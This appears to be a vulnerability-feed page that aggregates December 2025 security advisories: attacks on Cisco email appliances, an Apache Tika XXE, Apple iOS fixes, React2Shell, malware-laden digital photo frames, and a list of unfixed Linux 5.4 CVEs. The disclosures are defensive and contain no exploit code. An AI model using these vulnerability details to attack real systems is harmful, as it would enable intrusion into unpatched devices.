Recent bundles
Reports About Cyberattacks Against Cisco Secure Email Gateway And Cisco Secure Email and Web Manager
Reports About Cyberattacks Against Cisco Secure Email Gateway And Cisco Secure Email and Web Manager
Critical
CVE-2025-20393
CWE-20
Summary
-
On December 10, Cisco became aware of a new cyberattack campaign targeting a limited subset of appliances with certain ports open to the internet that are running Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager. This attack allows the threat actors to execute arbitrary commands with root privileges on the underlying operating system of an affected appliance. The ongoing investigation has revealed evidence of a persistence mechanism planted by the threat actors to maintain a degree of control over compromised appliances.
Cisco strongly recommends that customers follow the guidance provided in the Recommendations section of this advisory to assess exposure and mitigate risks.
Cisco Talos discussed these attacks in the blog post UAT-9686 actively targets Cisco Secure Email Gateway and Secure Email and Web Manager.
This advisory is available at the following link:
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4
Affected Products
-
Cisco continues to investigate this attack campaign. As the investigation progresses, Cisco will update this advisory as appropriate as more information becomes available.
This attack campaign affects Cisco Secure Email Gateway, both physical and virtual, and Cisco Secure Email and Web Manager appliances, both physical and virtual, when both of the following conditions are met:
- The appliance is configured with the Spam Quarantine feature.
- The Spam Quarantine feature is exposed to and reachable from the internet.
The Spam Quarantine feature is not enabled by default. Deployment guides for these products do not require this port to be directly exposed to the Internet.
Note: All releases of Cisco AsyncOS Software are affected by this attack campaign.
Determine Whether Spam Quarantine Is Enabled on a Cisco Secure Email Gateway Appliance
To determine whether the Spam Quarantine feature is configured and enabled on an appliance, connect to the web management interface and navigate to the following menu: Network > IP Interfaces > [Select the Interface on which Spam Quarantine is configured]. If the checkbox next to Spam Quarantine is checked, the feature is enabled.
Determine Whether Spam Quarantine Is Enabled on a Cisco Secure Email and Web Manager Appliance
To determine whether the Spam Quarantine feature is configured and enabled on an appliance, connect to the web management interface and navigate to the following menu: Management Appliance > Network > IP Interfaces > [Select the interface on which Spam Quarantine is configured]. If the checkbox next to Spam Quarantine is checked, the feature is enabled.
Only products listed in the Vulnerable Products section of this advisory are known to be affected by this attack campaign.
Cisco has confirmed that all devices that are part of Cisco Secure Email Cloud are not affected.
Cisco is not aware of any exploitation activity against Cisco Secure Web.
Indicators of Compromise
-
As part of the attack campaign described in this advisory, the threat actor planted a persistent covert channel that was used to remotely access the compromised appliance.
Customers who wish to explicitly verify whether an appliance has been compromised can open a Cisco Technical Assistance Center (TAC) case. To expedite our investigation into the potential compromise, please ensure that remote access is enabled on the affected appliances. For more guidance, see this tech note.
In any case, Cisco strongly recommends following the guidance listed in the Recommendations section of this advisory.
Workarounds
- There are no workarounds identified that directly mitigate the risk concerning this attack campaign, but administrators can view and follow the guidance provided in the Recommendations section of this advisory.
Recommendations
-
If an appliance has been identified as having the web management interface or the Spam Quarantine port exposed to and reachable from the internet, Cisco strongly recommends following a multi-step process to restore the appliance to a secure configuration, when possible. For additional information, see Useful Resources at the end of this section.
If restoring the appliance is not possible, Cisco recommends contacting TAC to check whether the appliance has been compromised. In case of confirmed compromise, rebuilding the appliances is, currently, the only viable option to eradicate the threat actors persistence mechanism from the appliance.
In addition, Cisco strongly recommends restricting access to the appliance and implementing robust access control mechanisms to ensure that ports are not exposed to unsecured networks.
General Recommendations For Hardening
- Prevent access from the internet to the appliance. If internet access to the appliance is required, restrict appliance access to only known, trusted hosts on ports/protocols that are included in the user guides.
- Protect Cisco Secure Email Gateway and Cisco Secure Email and Web Manager appliances behind a filtering device such as a firewall, and filter traffic to/from the appliances while only allowing known, trusted hosts to send traffic to the appliances. Using a two-layer firewall can provide flexibility in network planning so that end users do not connect directly to the outer DMZ. See the Deployment sections of the User Guides for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager.
- For Cisco Secure Email Gateway, separate mail and management functionality onto separate network interfaces. This reduces the chance of unauthorized users accessing the internal Management Network. For more information, see the device user guides.
- Regularly monitor web log traffic for any unexpected traffic to/from appliances. Logging should be sent to an external server, if possible, and kept for a long enough duration so that post-event investigations can be performed with sufficient log data.
- Disable HTTP for the main administrator portal.
- Disable any network services that are not required, including HTTP and FTP. For more information about specific service functionality, see the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager user guides.
- Upgrade the appliance to the latest version of Cisco AsyncOS Software.
- Use a strong form of end-user authentication to the appliances, such as SAML or Lightweight Directory Access Protocol (LDAP). For more secure methods of authentication, see Authentication Options for End Users Accessing Spam Management Features.
- Change the default administrator password to a more secure variant. Restrict access to the administrator account by creating user accounts based on necessary access requirements. In addition, create operator accounts for all administrators.
- Using SSL/TLS, obtain an SSL certificate from a certificate authority (CA) or create a self-signed certificate.
Useful Resources
The following resources can help restore an affected appliance to a secure state. Some of the documents are related to a specific product, but the procedures are mostly interchangeable. If customers have specific questions about a procedure, contact TAC.
To download replacement Virtual Appliances, visit the relevant Cisco Software Download page:
For information about exporting reporting data from an appliance, see Working with Reports.
For information about how to purge messages in the quarantine, see Spam Quarantine.
For additional information, see Centralizing Policy, Virus, and Outbreak Quarantines.
Exploitation and Public Announcements
- In December 2025, the Cisco Product Security Incident Response Team (PSIRT) became aware of potentially malicious activity that targets Cisco Secure Email Gateway and Cisco Secure Email and Web Manager appliances.
Source
- This attack campaign was initially found during the resolution of a Cisco TAC support case.
Cisco Security Vulnerability Policy
-
To learn about Cisco security vulnerability disclosure policies and publications, see the Security Vulnerability Policy. This document also contains instructions for obtaining fixed software and receiving security vulnerability information from Cisco.
Related to This Advisory
URL
Revision History
-
Version Description Section Status Date 1.0 Initial public release. - Interim 2025-DEC-17 Show Less
Legal Disclaimer
-
SOFTWARE DOWNLOADS AND TECHNICAL SUPPORT
The Cisco Support and Downloads page on Cisco.com provides information about licensing and downloads. This page can also display customer device support coverage for customers who use the My Devices tool. Please note that customers may download only software that was procured from Cisco directly or through a Cisco authorized reseller or partner and for which the license is still valid.
Customers who purchase directly from Cisco but do not hold a Cisco service contract and customers who make purchases through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should obtain upgrades by contacting the Cisco Technical Assistance Center (TAC). Customers should have the product serial number available and be prepared to provide the URL of this advisory as evidence of entitlement to a free upgrade.
When considering software upgrades, customers are advised to regularly consult the advisories for the relevant Cisco products to determine exposure and a complete upgrade solution. In all cases, customers should ensure that the devices to be upgraded contain sufficient memory and confirm that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, customers are advised to contact the Cisco Technical Assistance Center (TAC) or their contracted maintenance providers.
LEGAL DISCLAIMER DETAILS
CISCO DOES NOT MAKE ANY EXPRESS OR IMPLIED GUARANTEES OR WARRANTIES OF ANY KIND, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. WITHOUT LIMITING THE GENERALITY OF THE FOREGOING, CISCO DOES NOT GUARANTEE THE ACCURACY OR COMPLETENESS OF THIS INFORMATION. THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME.
Copies or summaries of the information contained in this Security Advisory may lack important information or contain factual errors. Customers are advised to visit the Cisco Security Advisories page for the most recent version of this Security Advisory. The Cisco Product Security Incident Response Team (PSIRT) assesses only the affected and fixed release information that is documented in this advisory. See the Cisco Security Vulnerability Policy for more information.
Feedback
- Leave additional feedback
Related vulnerabilities: CVE-2025-20393
A "Privilege boundary violation" vulnerability is identified affecting multiple Radiometer Products. Exploitation of this vulnerability gives a user with physical access to the analyzer, the possibility to gain unauthorized access to functionalities outside the restricted environment. The vulnerability is due to weakness in the design of access control implementation in application software.
Other related CVE's are CVE-2025-14096 and CVE-2025-14097.
Affected customers have been informed about this vulnerability.
This CVE is being published to provide transparency.
Required configuration for Exposure
Physical access to the analyzer is needed.
Temporary work Around Only authorized people can physically access the analyzer.
Permanent solution Local Radiometer representatives will contact all affected customers to discuss a permanent solution.
Exploit Status Researchers have provided working proof-of-concept. Radiometer is not aware of any publicly available exploit at the time of publication.
Related vulnerabilities: CVE-2025-14096CVE-2025-14095CVE-2025-14097
Ref: https://seclists.org/oss-sec/2025/q4/238
Severity: critical
Affected versions:
- Apache Tika core (org.apache.tika:tika-core) 1.13 through 3.2.1
- Apache Tika parsers (org.apache.tika:tika-parsers) 1.13 before 2.0.0
- Apache Tika PDF parser module (org.apache.tika:tika-parser-pdf-module) 2.0.0 through 3.2.1
Description:
Critical XXE in Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1) and tika-parsers (1.13-1.28.5) modules on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF.
This CVE covers the same vulnerability as in CVE-2025-54988. However, this CVE expands the scope of affected packages in two ways.
First, while the entrypoint for the vulnerability was the tika-parser-pdf-module as reported in CVE-2025-54988, the vulnerability and its fix were in tika-core. Users who upgraded the tika-parser-pdf-module but did not upgrade tika-core to >= 3.2.2 would still be vulnerable.
Second, the original report failed to mention that in the 1.x Tika releases, the PDFParser was in the "org.apache.tika:tika-parsers" module.
References: Ref: https://seclists.org/oss-sec/2025/q4/238
Related vulnerabilities: CVE-2025-54988CVE-2025-66516
About the security content of iOS 26.2 and iPadOS 26.2 - Apple Support
For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security releases page.
Apple security documents reference vulnerabilities by CVE-ID when possible.
For more information about security, see the Apple Product Security page.
Released December 12, 2025
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access sensitive payment tokens
Description: A permissions issue was addressed with additional restrictions.
CVE-2025-46288: floeki, Zhongcheng Li from IES Red Team of ByteDance
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing a file may lead to memory corruption
Description: The issue was addressed with improved bounds checks.
CVE-2025-43539: Michael Reeves (@IntegralPilot)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An attacker may be able to spoof their FaceTime caller ID
Description: An inconsistent user interface issue was addressed with improved state management.
CVE-2025-46287: an anonymous researcher, Riley Walz
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Multiple issues in curl
Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.
CVE-2024-7264
CVE-2025-9086
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Password fields may be unintentionally revealed when remotely controlling a device over FaceTime
Description: This issue was addressed with improved state management.
CVE-2025-43542: Yiğit Ocak
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to inappropriately access files through the spellcheck API
Description: A logic issue was addressed with improved checks.
CVE-2025-43518: Noah Gregory (wts.dev)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing malicious data may lead to unexpected app termination
Description: A memory corruption issue was addressed with improved bounds checking.
CVE-2025-43532: Andrew Calvano and Lucas Pinheiro of Meta Product Security
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to identify what other apps a user has installed
Description: A permissions issue was addressed with additional restrictions.
CVE-2025-46279: Duy Trần (@khanhduytran0)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to gain root privileges
Description: An integer overflow was addressed by adopting 64-bit timestamps.
CVE-2025-46285: Kaitao Xie and Xiaolong Bai of Alibaba Group
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing a file may lead to memory corruption
Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.
CVE-2025-5918
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access user-sensitive data
Description: A logging issue was addressed with improved data redaction.
CVE-2025-43475: Rosyna Keller of Totally Not Malicious Software
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access sensitive user data
Description: An information disclosure issue was addressed with improved privacy controls.
CVE-2025-46276: Rosyna Keller of Totally Not Malicious Software
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: A malicious HID device may cause an unexpected process crash
Description: Multiple memory corruption issues were addressed with improved input validation.
CVE-2025-43533: Google Threat Analysis Group
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Photos in the Hidden Photos Album may be viewed without authentication
Description: A configuration issue was addressed with additional restrictions.
CVE-2025-43428: an anonymous researcher, Michael Schmutzer of Technische Hochschule Ingolstadt
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access a user’s Safari history
Description: A logging issue was addressed with improved data redaction.
CVE-2025-46277: Kirin (@Pwnrin)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access sensitive user data
Description: A logging issue was addressed with improved data redaction.
CVE-2025-43538: Iván Savransky
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: An app may be able to access user-sensitive data
Description: This issue was addressed with additional entitlement checks.
CVE-2025-46292: Rosyna Keller of Totally Not Malicious Software
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash
Description: A type confusion issue was addressed with improved state handling.
WebKit Bugzilla: 301257
CVE-2025-43541: Hossein Lotfi (@hosselot) of Trend Micro Zero Day Initiative
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected process crash
Description: A use-after-free issue was addressed with improved memory management.
WebKit Bugzilla: 301726
CVE-2025-43536: Nan Wang (@eternalsakura13)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected process crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 300774
WebKit Bugzilla: 301338
CVE-2025-43535: Google Big Sleep, Nan Wang (@eternalsakura13)
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected process crash
Description: A buffer overflow issue was addressed with improved memory handling.
WebKit Bugzilla: 301371
CVE-2025-43501: Hossein Lotfi (@hosselot) of Trend Micro Zero Day Initiative
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected process crash
Description: A race condition was addressed with improved state handling.
WebKit Bugzilla: 301940
CVE-2025-43531: Phil Pizlo of Epic Games
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 26. CVE-2025-14174 was also issued in response to this report.
Description: A use-after-free issue was addressed with improved memory management.
WebKit Bugzilla: 302502
CVE-2025-43529: Google Threat Analysis Group
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to memory corruption. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 26. CVE-2025-43529 was also issued in response to this report.
Description: A memory corruption issue was addressed with improved validation.
WebKit Bugzilla: 303614
CVE-2025-14174: Apple and Google Threat Analysis Group
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th generation and later
Impact: Processing maliciously crafted web content may lead to an unexpected process crash
Description: A use-after-free issue was addressed with improved memory management.
WebKit Bugzilla: 300926
CVE-2025-43511: 이동하 (Lee Dong Ha of BoB 14th)
We would like to acknowledge an anonymous researcher for their assistance.
We would like to acknowledge Mickey Jin (@patch1t) for their assistance.
We would like to acknowledge Golden Helm Securities for their assistance.
We would like to acknowledge Mochammad Nosa Shandy Prastyo for their assistance.
We would like to acknowledge Richard Hyunho Im (@richeeta) at Route Zero Security (routezero.security) for their assistance.
We would like to acknowledge Geva Nurgandi Syahputra (gevakun) for their assistance.
Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.
Published Date: December 12, 2025
Related vulnerabilities: CVE-2025-46285CVE-2025-43542CVE-2025-43536CVE-2025-43541CVE-2025-43539CVE-2025-43529CVE-2025-43501CVE-2024-7264CVE-2025-43532CVE-2025-43531CVE-2025-43475CVE-2025-43535CVE-2025-43511CVE-2025-5918CVE-2025-46287CVE-2025-46276CVE-2025-43538CVE-2025-14174CVE-2025-43428CVE-2025-43533CVE-2025-43518CVE-2025-46277CVE-2025-46292CVE-2025-46288CVE-2025-9086CVE-2025-46279
React2Shell (CVE-2025-55182)
What?
A 10.0 critical severity vulnerablility affecting server-side use of React.js, tracked as CVE-2025-55182 in React.js and CVE-2025-66478 specifically for the Next.js framework.
This vulnerability was responsibly disclosed by myself, Lachlan Davidson on 29 November 2025 PT to the Meta team. Initial disclosure and patch release was performed by React and Vercel on 3 December 2025 PT.
Update: Proof-of-Concepts
A real public PoC began circulating after around 30 hours from initial disclosure, I've now shared my PoCs several hours later. Full writeup in due course :)
Update: A note on scanners (4 December 20:55 UTC)
We've seen some great scanners from the likes of Assetnote, which are very effective at detecting unpatched Next.js instances that use Server Components.
However, there's another nuance that we'd like to highlight: The day-0 protections from some providers are actually runtime-level, and not just WAF rules. So many customers with theoretically vulnerable versions are, to our knowledge, still protected.
We're aware of many submissions to Bug Bounty programs, etc. based on these scanner outputs, many of which may be false positives. Unfortuantely, at this point in time, we cannot share any methods to concretely identify with certainity if you are vulnerable. So when in doubt: patch!
Update: A note on invalid PoCs (4 December 03:25 UTC)
We have seen a rapid trend of "Proof of Concepts" spreading which are not genuine PoCs.
Anything that requires the developer to have explicitly exposed dangerous functionality to the client is not a valid PoC. Common examples we've seen in supposed "PoCs" are vm#runInThisContext, child_process#exec, and fs#writeFile.
This would only be exploitable if you had consciously chosen to let clients invoke these, which would be dangerous no matter what. The genuine vulnerability does not have this constraint. In Next.js, the list of server functions is managed for you, and does not contain these.
Many of these "PoCs" have been referenced in publications, and even some vulnerability aggregators. We are concerned that these may lead to false negatives when evaluating if a service is vulnerable, or lead to unpreparedness if or when a genuine PoC surfaces.
Am I affected?
Refer to vendor advisories from React and Next.js.
What happened to CVE-2025-66478?
This CVE was (technically correctly) marked as a duplicate of CVE-2025-55182.
The decision to publish a second CVE for Next.js was made due to these exceptional circumstsances: Next.js does not include React as a traditional dependency - instead, they bundle it "vendored". So, if you're using Next.js, many dependency tools do not automatically recognise it as vulnerable.
Aditional React vulnerabilities (CVE-2025-55183, CVE-2025-55184, CVE-2025-67779)
Denial of Service - High Severity: CVE-2025-55184 and CVE-2025-67779 (CVSS 7.5)
(CVE-2025-55184 was incompletely fixed, leading to the full fixes being tracked under CVE-2025-67779.)
"Security researchers have discovered that a malicious HTTP request can be crafted and sent to any Server Functions endpoint that, when deserialized by React, can cause an infinite loop that hangs the server process and consumes CPU. Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.
This creates a vulnerability vector where an attacker may be able to deny users from accessing the product, and potentially have a performance impact on the server environment."
Source Code Exposure - Medium Severity: CVE-2025-55183 (CVSS 5.3)
Related vulnerabilities: CVE-2025-55184GHSA-9QR9-H5GF-34MPGHSA-FV66-9V8Q-G76RCVE-2025-55182CVE-2025-66478CVE-2025-55183CVE-2025-67779
> Experts have found that many of the digital frame models analyzed download malicious payloads from Chinese servers immediately after ignition. At startup, devices check for an update of the Uhale app, install the update to version 4.2.0 and restart. After restarting, the updated app starts downloading and running the malware. > > The downloaded JAR/DEX file is saved in the Uhale application directory and run at each subsequent system start. It is not yet clear why version 4.2.0 of the application became malicious (whether this was done intentionally by the developers themselves or whether the ZEASN upgrade infrastructure was compromised). > > The malware detected has been linked to the Vo1d botnet, which has millions of devices, as well as the Mzmess family of malware. This connection is confirmed by packet prefixes, string names, endpoints, malware distribution process, and a range of artifacts. > > In addition to the automatic download of the malware (which did not occur on all the frames analyzed), the researchers also discovered numerous vulnerabilities. In their report, Quokka's specialists detailed 17 problems, 11 of which have already received CVE identifiers.
The most serious are:
- CVE-2025-58392 and CVE-2025-58397 – An insecure implementation of TrustManager allows a MitM attack to inject counterfeit encrypted responses, eventually leading to remote code execution with root privileges;
- CVE-2025-58388 – During an application update, raw file names are passed directly to shell commands, allowing command injection and remote installation of arbitrary APKs;
- CVE-2025-58394 – All the camera frames tested were shipped with disabled SELinux, default root access and AOSP public test keys, which means they were completely compromised from the first moment;
- CVE-2025-58396 – A pre-installed application launches a file server on the TCP 17802 port, which accepts file uploads without authentication. As a result, any host on the local network gets the ability to write or delete arbitrary files on your device;
- CVE-2025-58390 – WebView in the app ignores SSL/TLS errors and allows mixed content, allowing attackers to inject or intercept data viewed on the device, opening the door to phishing and content spoofing.
Related vulnerabilities: CVE-2025-58388CVE-2025-58397CVE-2025-58392CVE-2025-58396CVE-2025-58390CVE-2025-58394
Re: Linux 5.4.302 - Greg Kroah-Hartman
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
torvalds@linux-foundation.org, stable@vger.kernel.org
Cc: lwn@lwn.net, jslaby@suse.cz
Subject: Re: Linux 5.4.302
Date: Wed, 3 Dec 2025 13:50:40 +0100 [thread overview]
Message-ID: <2025120358-skating-outage-7c61@gregkh> (raw)
In-Reply-To: <2025120319-blip-grime-93e8@gregkh>
On Wed, Dec 03, 2025 at 01:12:32PM +0100, Greg Kroah-Hartman wrote:
> I'm announcing the release of the 5.4.302 kernel.
>
> This is the LAST 5.4.y release. It is now end-of-life and should not be
> used by anyone, anymore. As of this point in time, there are 1539
> documented unfixed CVEs for this kernel branch, and that number will
> only increase over time as more CVEs get assigned for kernel bugs.
And here's that list, if anyone is curious:
5.4.302 is vulnerable to CVE-2020-36776
5.4.302 is vulnerable to CVE-2020-36784
5.4.302 is vulnerable to CVE-2020-36788
5.4.302 is vulnerable to CVE-2021-46925
5.4.302 is vulnerable to CVE-2021-46926
5.4.302 is vulnerable to CVE-2021-46928
5.4.302 is vulnerable to CVE-2021-46941
5.4.302 is vulnerable to CVE-2021-46987
5.4.302 is vulnerable to CVE-2021-47001
5.4.302 is vulnerable to CVE-2021-47004
5.4.302 is vulnerable to CVE-2021-47005
5.4.302 is vulnerable to CVE-2021-47024
5.4.302 is vulnerable to CVE-2021-47049
5.4.302 is vulnerable to CVE-2021-47061
5.4.302 is vulnerable to CVE-2021-47063
5.4.302 is vulnerable to CVE-2021-47070
5.4.302 is vulnerable to CVE-2021-47074
5.4.302 is vulnerable to CVE-2021-47076
5.4.302 is vulnerable to CVE-2021-47077
5.4.302 is vulnerable to CVE-2021-47101
5.4.302 is vulnerable to CVE-2021-47113
5.4.302 is vulnerable to CVE-2021-47116
5.4.302 is vulnerable to CVE-2021-47119
5.4.302 is vulnerable to CVE-2021-47131
5.4.302 is vulnerable to CVE-2021-47143
5.4.302 is vulnerable to CVE-2021-47158
5.4.302 is vulnerable to CVE-2021-47182
5.4.302 is vulnerable to CVE-2021-47183
5.4.302 is vulnerable to CVE-2021-47188
5.4.302 is vulnerable to CVE-2021-47191
5.4.302 is vulnerable to CVE-2021-47193
5.4.302 is vulnerable to CVE-2021-47198
5.4.302 is vulnerable to CVE-2021-47205
5.4.302 is vulnerable to CVE-2021-47211
5.4.302 is vulnerable to CVE-2021-47212
5.4.302 is vulnerable to CVE-2021-47219
5.4.302 is vulnerable to CVE-2021-47226
5.4.302 is vulnerable to CVE-2021-47234
5.4.302 is vulnerable to CVE-2021-47247
5.4.302 is vulnerable to CVE-2021-47253
5.4.302 is vulnerable to CVE-2021-47265
5.4.302 is vulnerable to CVE-2021-47275
5.4.302 is vulnerable to CVE-2021-47281
5.4.302 is vulnerable to CVE-2021-47283
5.4.302 is vulnerable to CVE-2021-47331
5.4.302 is vulnerable to CVE-2021-47335
5.4.302 is vulnerable to CVE-2021-47339
5.4.302 is vulnerable to CVE-2021-47359
5.4.302 is vulnerable to CVE-2021-47362
5.4.302 is vulnerable to CVE-2021-47366
5.4.302 is vulnerable to CVE-2021-47378
5.4.302 is vulnerable to CVE-2021-47381
5.4.302 is vulnerable to CVE-2021-47391
5.4.302 is vulnerable to CVE-2021-47399
5.4.302 is vulnerable to CVE-2021-47407
5.4.302 is vulnerable to CVE-2021-47408
5.4.302 is vulnerable to CVE-2021-47410
5.4.302 is vulnerable to CVE-2021-47412
5.4.302 is vulnerable to CVE-2021-47414
5.4.302 is vulnerable to CVE-2021-47428
5.4.302 is vulnerable to CVE-2021-47432
5.4.302 is vulnerable to CVE-2021-47433
5.4.302 is vulnerable to CVE-2021-47438
5.4.302 is vulnerable to CVE-2021-47452
5.4.302 is vulnerable to CVE-2021-47455
5.4.302 is vulnerable to CVE-2021-47473
5.4.302 is vulnerable to CVE-2021-47479
5.4.302 is vulnerable to CVE-2021-47490
5.4.302 is vulnerable to CVE-2021-47491
5.4.302 is vulnerable to CVE-2021-47492
5.4.302 is vulnerable to CVE-2021-47493
5.4.302 is vulnerable to CVE-2021-47498
5.4.302 is vulnerable to CVE-2021-47501
5.4.302 is vulnerable to CVE-2021-47504
5.4.302 is vulnerable to CVE-2021-47508
5.4.302 is vulnerable to CVE-2021-47523
5.4.302 is vulnerable to CVE-2021-47544
5.4.302 is vulnerable to CVE-2021-47552
5.4.302 is vulnerable to CVE-2021-47559
5.4.302 is vulnerable to CVE-2021-47560
5.4.302 is vulnerable to CVE-2021-47577
5.4.302 is vulnerable to CVE-2021-47578
5.4.302 is vulnerable to CVE-2021-47580
5.4.302 is vulnerable to CVE-2021-47582
5.4.302 is vulnerable to CVE-2021-47599
5.4.302 is vulnerable to CVE-2021-47610
5.4.302 is vulnerable to CVE-2021-47618
5.4.302 is vulnerable to CVE-2021-47622
5.4.302 is vulnerable to CVE-2021-47623
5.4.302 is vulnerable to CVE-2021-47632
5.4.302 is vulnerable to CVE-2021-47635
5.4.302 is vulnerable to CVE-2021-47648
5.4.302 is vulnerable to CVE-2021-47653
5.4.302 is vulnerable to CVE-2022-48628
5.4.302 is vulnerable to CVE-2022-48633
5.4.302 is vulnerable to CVE-2022-48642
5.4.302 is vulnerable to CVE-2022-48664
5.4.302 is vulnerable to CVE-2022-48673
5.4.302 is vulnerable to CVE-2022-48674
5.4.302 is vulnerable to CVE-2022-48706
5.4.302 is vulnerable to CVE-2022-48712
5.4.302 is vulnerable to CVE-2022-48721
5.4.302 is vulnerable to CVE-2022-48733
5.4.302 is vulnerable to CVE-2022-48740
